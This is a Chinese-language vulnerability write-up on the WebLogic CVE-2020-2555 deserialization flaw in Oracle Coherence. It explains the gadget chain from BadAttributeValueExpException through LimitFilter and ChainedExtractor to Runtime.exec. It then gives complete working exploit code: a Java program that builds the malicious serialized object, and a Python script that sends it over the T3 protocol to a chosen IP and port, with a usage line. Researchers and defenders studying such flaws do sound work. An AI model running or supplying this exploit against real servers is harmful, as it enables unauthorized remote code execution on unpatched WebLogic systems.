WebLogic CVE-2020-2555分析
WebLogic 是一个基于 JAVAEE 架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用,类比于 Tomcat
Oracle Coherence为Oracle融合中间件中的产品,在WebLogic 12c及以上版本中默认集成到WebLogic安装包中,而 Coherence 存在一条反序列化链!
WebLogic 安装参考:
https://blog.csdn.net/csdn_wangchen/article/details/100533923
环境:
新建一个项目导入 coherence.jar 依赖即可,或者直接用 Y4 师傅在 GitHub 上的环境
漏洞分析
调用链如下:
* gadget:
* BadAttributeValueExpException.readObject()
* com.tangosol.util.filter.LimitFilter.toString()
* com.tangosol.util.extractor.ChainedExtractor.extract()
* com.tangosol.util.extractor.ReflectionExtractor.extract()
* Method.invoke()
* ...
* Runtime.getRuntime.exec()
看到 com.tangosol.util.extractor.ReflectionExtractor#extract
方法,存在动态方法执行操作,通过 findMethod 反射获取 oTarget 对象指定参数的方法,然后执行该方法,clz、m_sMethod、m_aoParam
可控,可以执行任何方法
如下一个例子,调用 extract 方法会先通过 findMethod 反射获取到 Runtime.getMethod
方法,然后执行,返回一个 Runtime.getRuntime
的Method实例
import com.tangosol.util.extractor.ReflectionExtractor;
import java.lang.reflect.Method;
public class POC {
public static void main(String[] args) throws Exception {
ReflectionExtractor refle = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]});
Method me = (Method) refle.extract(Runtime.class);
Runtime invoke = (Runtime) me.invoke(null, null);
invoke.exec("calc");
}
}
看到 com.tangosol.util.extractor.ChainedExtractor#extract
方法,存在一组 extract 方法调用,跟ACC链的 transform 调用无比类似!把 extract 方法执行返回的结果带入下一次 extract 方法调用的参数
再看到 com.tangosol.util.filter.LimitFilter#toString
方法,其调用了 extract 方法,让 m_comparator
属性为 ChainedExtractor 对象即可,且 ChainedExtractor 是实现了 ValueExtractor 接口的!
最后看到 BadAttributeValueExpException#readObject
方法,调过ACC链的师傅应该对这个类很熟悉,其中的 readObject 方法可以调用任何的类的 toString 方法
最终可以构造如下POC:
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
public class Poc {
public static void main(String[] args) throws Exception{
ReflectionExtractor[] refle = new ReflectionExtractor[]{
new ReflectionExtractor("getMethod",new Object[]{"getRuntime",new Class[0]}),
new ReflectionExtractor("invoke",new Object[]{null,new Class[0]}),
new ReflectionExtractor("exec",new Object[]{new String[]{"cmd","/c","calc"}})
};
ChainedExtractor chainedExtractor = new ChainedExtractor(refle);
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(chainedExtractor);
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,limitFilter);
FileOutputStream fileOutputStream = new FileOutputStream("POC.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.flush();
objectOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("POC.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
}
}
T3协议反序列化
现在反序列化链是有了,入口点呢?参考 http://drops.xmd5.com/static/drops/web-13470.html 文章
- 第一个数据包先向 WebLogic 服务器发送T3的协议头
- 第二个数据包向 WebLogic 服务器发送 JAVA序列化数据,其中恶意的序列化数据与第一部分序列化数据进行拼接
借用 zpchcbd 师傅的脚本:
# author: zpchcbd
import socket
import os
import sys
import struct
from binascii import a2b_hex, b2a_hex
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
server_address = (sys.argv[1], int(sys.argv[2]))
print('[+] Connecting to {} port {}'.format(server_address[0], server_address[1]))
sock.connect(server_address)
# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print('sending "{}"'.format(headers))
sock.sendall(headers.encode())
data = sock.recv(1024)
print('[+] received "%s"' % data)
payloadObj = open(sys.argv[3],'rb').read()
payload = '056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload=payload+str(b2a_hex(payloadObj).decode())
payload=payload+'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s' % (('{:08x}'.format(len(payload) // 2 + 4), payload))
print('[+] Sending payload...')
sock.send(bytes.fromhex(payload))
data = sock.recv(1024)
print('received "%s"' % data)
用法 python3 weblogic.py 192.168.43.79 7001 POC.ser
总结
因为在WebLogic 12c及以上版本中内嵌Coherence,而 Coherence 又存在反序列化链,再者 WebLogic 的T3协议可以触发反序列化,最终导致反序列化漏洞!
需要注意的一个地方是生成 Payload 所用环境的 coherence.jar
版本要和目标的 coherence.jar 版本一致,否则会出现 serialVersionUID 不一致的问题
影响版本:
Oracle weblogic 12.1.3.0.0/12.2.1.1.0/12.2.1.2.0/12.2.1.3.0,而在 12.2.1.4.0 版本中虽然也内嵌了 Coherence,但是该版本默认没启用 Coherence,所以其未在影响版本内!
Reference:
https://www.cnblogs.com/zpchcbd/p/15629063.html
https://blog.csdn.net/qq_30302577/article/details/105244508
https://y4er.com/post/weblogic-cve-2020-2555/